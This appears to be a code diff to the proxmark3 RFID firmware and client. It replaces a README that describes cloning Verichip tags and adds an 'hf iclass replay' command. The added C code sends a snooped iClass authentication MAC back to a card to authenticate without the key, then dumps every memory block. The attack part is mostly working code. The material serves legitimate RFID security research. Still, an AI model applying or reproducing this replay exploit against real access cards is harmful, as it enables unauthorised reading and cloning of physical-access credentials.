-NOTICE:
-(2014-03-17)
-Moving the repository from google code to GitHub is up for discussion!
-Please check out the following thread and post your comments...
-http://www.proxmark.org/forum/viewtopic.php?id=1902
-Discussions will close on March 31st.
+iclass research
+===============
-INTRO:
-
-This file contains enough software, logic (for the FPGA), and design
-documentation for the hardware that you could, at least in theory,
-do something useful with a proxmark3. It has commands to:
-
- * read any kind of 125 kHz unidirectional tag
- * simulate any kind of 125 kHz unidirectional tag
-
-(This is enough to perform all of the silly cloning attacks, like the
-ones that I did at the Capitol in Sacramento, or anything involving
-a Verichip. From a technical standpoint, these are not that exciting,
-although the `software radio' architecture of the proxmark3 makes it
-easy and fun to support new formats.)
-
-As a bonus, I include some code to use the 13.56 MHz hardware, so you can:
-
- * do anything that a (medium-range) ISO 15693 reader could
- * read an ISO 14443 tag, if you know the higher-layer protocol
- * pretend to be an ISO 14443 tag, if you know the higher-layer protocol
- * snoop on an ISO 14443 transaction
-
-I am not actively developing any of this. I have other projects that
-seem to be more useful.
-
-USING THE PACKAGE:
-
-The software tools required to build include:
-
- * cygwin or other unix-like tools for Windows
- * devkitPro (http://wiki.devkitpro.org/index.php/Getting_Started/devkitARM)
- * Xilinx's WebPack tools
- * Modelsim (for test only)
- * perl
-
-When installing devkitPro, you only need to install the compiler itself. Additional
-support libraries are not required.
-
-Documentation is minimal, but see the doc/ directory for what exists. A
-previous familiarity with the ARM, with digital signal processing,
-and with embedded programming in general is assumed.
-
-The device is used through a specialized command line interface; for
-example, to clone a Verichip, you might type:
-
- loread ; this reads the tag, and stores the
- ; raw samples in memory on the ARM
-
- losamples ; then we download the samples to
- ; the PC
-
- vchdemod clone ; demodulate the ID, and then put it
- ; back in a format that we can replay
-
- losim ; and then replay it
-
-To read an ISO 15693 tag, you might type:
-
- hiread ; read the tag; this involves sending a
- ; particular command, and then getting
- ; the response (which is stored as raw
- ; samples in memory on the ARM)
-
- hisamples ; then download those samples to the PC
-
- hi15demod ; and demod them to bits (and check the
- ; CRC etc. at the same time)
-
-Notice that in both cases the signal processing mostly happened on the PC
-side; that is of course not practical for a real reader, but it is easier
-to initially write your code and debug on the PC side than on the ARM. As
-long as you use integer math (and I do), it's trivial to port it over
-when you're done.
-
-The USB driver and bootloader are documented (and available separately
-for download, if you wish to use them in another project) at
-
- http://cq.cx/trivia.pl
-
-
-OBTAINING HARDWARE:
-
-Most of the ultra-low-volume contract assemblers that have sprung up
-(Screaming Circuits, the various cheap Asian suppliers, etc.) could put
-something like this together with a reasonable yield. A run of around
-a dozen units is probably cost-effective. The BOM includes (possibly-
-outdated) component pricing, and everything is available from Digikey
-and the usual distributors.
-
-If you've never assembled a modern circuit board by hand, then this is
-not a good place to start. Some of the components (e.g. the crystals)
-must not be assembled with a soldering iron, and require hot air.
-
-The schematics are included; the component values given are not
-necessarily correct for all situations, but it should be possible to do
-nearly anything you would want with appropriate population options.
-
-The printed circuit board artwork is also available, as Gerbers and an
-Excellon drill file.
-
-
-FUTURE PLANS, ENHANCEMENTS THAT YOU COULD MAKE:
-
-At some point I should write software involving a proper real-time
-operating system for the ARM. I would then provide interrupt-driven
-drivers for many of the peripherals that are polled now (the USB,
-the data stream from the FPGA), which would make it easier to develop
-complex applications.
-
-It would not be all that hard to implement the ISO 15693 reader properly
-(with anticollision, all the commands supported, and so on)--the signal
-processing is already written, so it is all straightforward applications
-work.
-
-I have basic support for ISO 14443 as well: a sniffer, a simulated
-tag, and a reader. It won't do anything useful unless you fill in the
-high-layer protocol.
-
-Nicer (i.e., closer-to-optimal) implementations of all kinds of signal
-processing would be useful as well.
-
-A practical implementation of the learning-the-tag's-ID-from-what-the-
-reader-broadcasts-during-anticollision attacks would be relatively
-straightforward. This would involve some signal processing on the FPGA,
-but not much else after that.
-
-It would be neat to write a driver that could stream samples from the A/Ds
-over USB to the PC, using the full available bandwidth of USB. I am not
-yet sure what that would be good for, but surely something. This would
-require a kernel-mode driver under Windows, though, which is more work.
-
-
-LICENSING:
-
-This program is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or
-(at your option) any later version.
-
-This program is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with this program; if not, write to the Free Software
-Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
-
-
-Jonathan Westhues
-user jwesthues, at host cq.cx
-
-May 2007, Cambridge MA
+Implemented "hf iclass replay <MAC>" where MAC is 8-char Hexidecimal MAC.
+Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification.
+Currently hardset to only read Page 1.
\ No newline at end of file
case CMD_READER_ICLASS:
ReaderIClass(c->arg[0]);
break;
+ case CMD_READER_ICLASS_REPLAY:
+ ReaderIClass_Replay(c->arg[0], c->d.asBytes);
+ break;
#endif
case CMD_SIMULATE_TAG_HF_LISTEN:
void RAMFUNC SnoopIClass(void);
void SimulateIClass(uint8_t arg0, uint8_t *datain);
void ReaderIClass(uint8_t arg0);
+void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC);
// hitag2.h
void SnoopHitag(uint32_t type);
// same construction as in ISO 14443;
// different initial value (CRC_ICLASS)
#include "iso14443crc.h"
+#include "iso15693tools.h"
static int timeout = 4096;
LED_A_OFF();
}
+void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) {
+ uint8_t act_all[] = { 0x0a };
+ uint8_t identify[] = { 0x0c };
+ uint8_t select[] = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+ uint8_t readcheck_cc[]= { 0x88, 0x02 };
+ uint8_t check[] = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+ uint8_t read[] = { 0x0c, 0x00, 0x00, 0x00 };
+
+ uint16_t crc = 0;
+ uint8_t cardsize=0;
+ bool read_success=false;
+ uint8_t mem=0;
+
+ static struct memory_t{
+ int k16;
+ int book;
+ int k2;
+ int lockauth;
+ int keyaccess;
+ } memory;
+
+ uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
+
+ // Reset trace buffer
+ memset(trace, 0x44, RECV_CMD_OFFSET);
+ traceLen = 0;
+
+ // Setup SSC
+ FpgaSetupSsc();
+ // Start from off (no field generated)
+ // Signal field is off with the appropriate LED
+ LED_D_OFF();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ SpinDelay(200);
+
+ SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+ // Now give it time to spin up.
+ // Signal field is on with the appropriate LED
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ SpinDelay(200);
+
+ LED_A_ON();
+
+ for(int i=0;i<1;i++) {
+
+ if(traceLen > TRACE_SIZE) {
+ DbpString("Trace full");
+ break;
+ }
+
+ if (BUTTON_PRESS()) break;
+
+ // Send act_all
+ ReaderTransmitIClass(act_all, 1);
+ // Card present?
+ if(ReaderReceiveIClass(resp)) {
+ ReaderTransmitIClass(identify, 1);
+ if(ReaderReceiveIClass(resp) == 10) {
+ // Select card
+ memcpy(&select[1],resp,8);
+ ReaderTransmitIClass(select, sizeof(select));
+
+ if(ReaderReceiveIClass(resp) == 10) {
+ Dbprintf(" Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x",
+ resp[0], resp[1], resp[2],
+ resp[3], resp[4], resp[5],
+ resp[6], resp[7]);
+ }
+ // Card selected
+ Dbprintf("Readcheck on Sector 2");
+ ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc));
+ if(ReaderReceiveIClass(resp) == 8) {
+ Dbprintf(" CC: %02x %02x %02x %02x %02x %02x %02x %02x",
+ resp[0], resp[1], resp[2],
+ resp[3], resp[4], resp[5],
+ resp[6], resp[7]);
+ }else return;
+ Dbprintf("Authenticate");
+ //for now replay captured auth (as cc not updated)
+ memcpy(check+5,MAC,4);
+ Dbprintf(" AA: %02x %02x %02x %02x",
+ check[5], check[6], check[7],check[8]);
+ ReaderTransmitIClass(check, sizeof(check));
+ if(ReaderReceiveIClass(resp) == 4) {
+ Dbprintf(" AR: %02x %02x %02x %02x",
+ resp[0], resp[1], resp[2],resp[3]);
+ }else {
+ Dbprintf("Error: Authentication Fail!");
+ return;
+ }
+ Dbprintf("Dump Contents");
+ //first get configuration block
+ read_success=false;
+ read[1]=1;
+ uint8_t *blockno=&read[1];
+ crc = iclass_crc16((char *)blockno,1);
+ read[2] = crc >> 8;
+ read[3] = crc & 0xff;
+ while(!read_success){
+ ReaderTransmitIClass(read, sizeof(read));
+ if(ReaderReceiveIClass(resp) == 10) {
+ read_success=true;
+ mem=resp[5];
+ memory.k16= (mem & 0x80);
+ memory.book= (mem & 0x20);
+ memory.k2= (mem & 0x8);
+ memory.lockauth= (mem & 0x2);
+ memory.keyaccess= (mem & 0x1);
+
+ }
+ }
+ if (memory.k16){
+ cardsize=255;
+ }else cardsize=32;
+ //then loop around remaining blocks
+ for(uint8_t j=0; j<cardsize; j++){
+ read_success=false;
+ uint8_t *blockno=&j;
+ //crc_data[0]=j;
+ read[1]=j;
+ crc = iclass_crc16((char *)blockno,1);
+ read[2] = crc >> 8;
+ read[3] = crc & 0xff;
+ while(!read_success){
+ ReaderTransmitIClass(read, sizeof(read));
+ if(ReaderReceiveIClass(resp) == 10) {
+ read_success=true;
+ Dbprintf(" %02x: %02x %02x %02x %02x %02x %02x %02x %02x",
+ j, resp[0], resp[1], resp[2],
+ resp[3], resp[4], resp[5],
+ resp[6], resp[7]);
+ }
+ }
+ }
+ }
+ }
+ WDT_HIT();
+ }
+
+ LED_A_OFF();
+}
+
PrintAndLog("--readertype:%02x", readerType);
UsbCommand c = {CMD_READER_ICLASS, {readerType}};
- //memcpy(c.d.asBytes, CSN, 8);
SendCommand(&c);
- /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
- if (resp != NULL) {
- uint8_t isOK = resp->arg[0] & 0xff;
- PrintAndLog("isOk:%02x", isOK);
- } else {
- PrintAndLog("Command execute timeout");
- }*/
+ return 0;
+}
+
+int CmdHFiClassReader_Replay(const char *Cmd)
+{
+ uint8_t readerType = 0;
+ uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00};
+
+ if (strlen(Cmd)<1) {
+ PrintAndLog("Usage: hf iclass replay <MAC>");
+ PrintAndLog(" sample: hf iclass replay 00112233");
+ return 0;
+ }
+
+ if (param_gethex(Cmd, 0, MAC, 8)) {
+ PrintAndLog("MAC must include 8 HEX symbols");
+ return 1;
+ }
+
+ UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}};
+ memcpy(c.d.asBytes, MAC, 4);
+ SendCommand(&c);
return 0;
}
+
static command_t CommandTable[] =
{
{"help", CmdHelp, 1, "This help"},
{"snoop", CmdHFiClassSnoop, 0, "Eavesdrop iClass communication"},
{"sim", CmdHFiClassSim, 0, "Simulate iClass tag"},
{"reader", CmdHFiClassReader, 0, "Read an iClass tag"},
+ {"replay", CmdHFiClassReader_Replay, 0, "Read an iClass tag via Reply Attack"},
{NULL, NULL, 0, NULL}
};
int CmdHFiClassSim(const char *Cmd);
int CmdHFiClassList(const char *Cmd);
int CmdHFiClassReader(const char *Cmd);
+int CmdHFiClassReader_Replay(const char *Cmd);
#endif
#include <stdlib.h>
//#include "iso15693tools.h"
+#define POLY 0x8408
+
+
// The CRC as described in ISO 15693-Part 3-Annex C
// v buffer with data
// n length
return target;
}
+unsigned short iclass_crc16(char *data_p, unsigned short length)
+{
+ unsigned char i;
+ unsigned int data;
+ unsigned int crc = 0xffff;
+
+ if (length == 0)
+ return (~crc);
+
+ do
+ {
+ for (i=0, data=(unsigned int)0xff & *data_p++;
+ i < 8;
+ i++, data >>= 1)
+ {
+ if ((crc & 0x0001) ^ (data & 0x0001))
+ crc = (crc >> 1) ^ POLY;
+ else crc >>= 1;
+ }
+ } while (--length);
+ crc = ~crc;
+ data = crc;
+ crc = (crc << 8) | (data >> 8 & 0xff);
+ crc = crc ^ 0xBC3;
+ return (crc);
+}
uint16_t Iso15693Crc(uint8_t *v, int n);
int Iso15693AddCrc(uint8_t *req, int n);
char* Iso15693sprintUID(char *target,uint8_t *uid);
+unsigned short iclass_crc16(char *data_p, unsigned short length);
//-----------------------------------------------------------------------------
// Map a sequence of octets (~layer 2 command) into the set of bits to feed
#define CMD_SNOOP_ICLASS 0x0392
#define CMD_SIMULATE_TAG_ICLASS 0x0393
#define CMD_READER_ICLASS 0x0394
+#define CMD_READER_ICLASS_REPLAY 0x0395
// For measurements of the antenna tuning
#define CMD_MEASURE_ANTENNA_TUNING 0x0400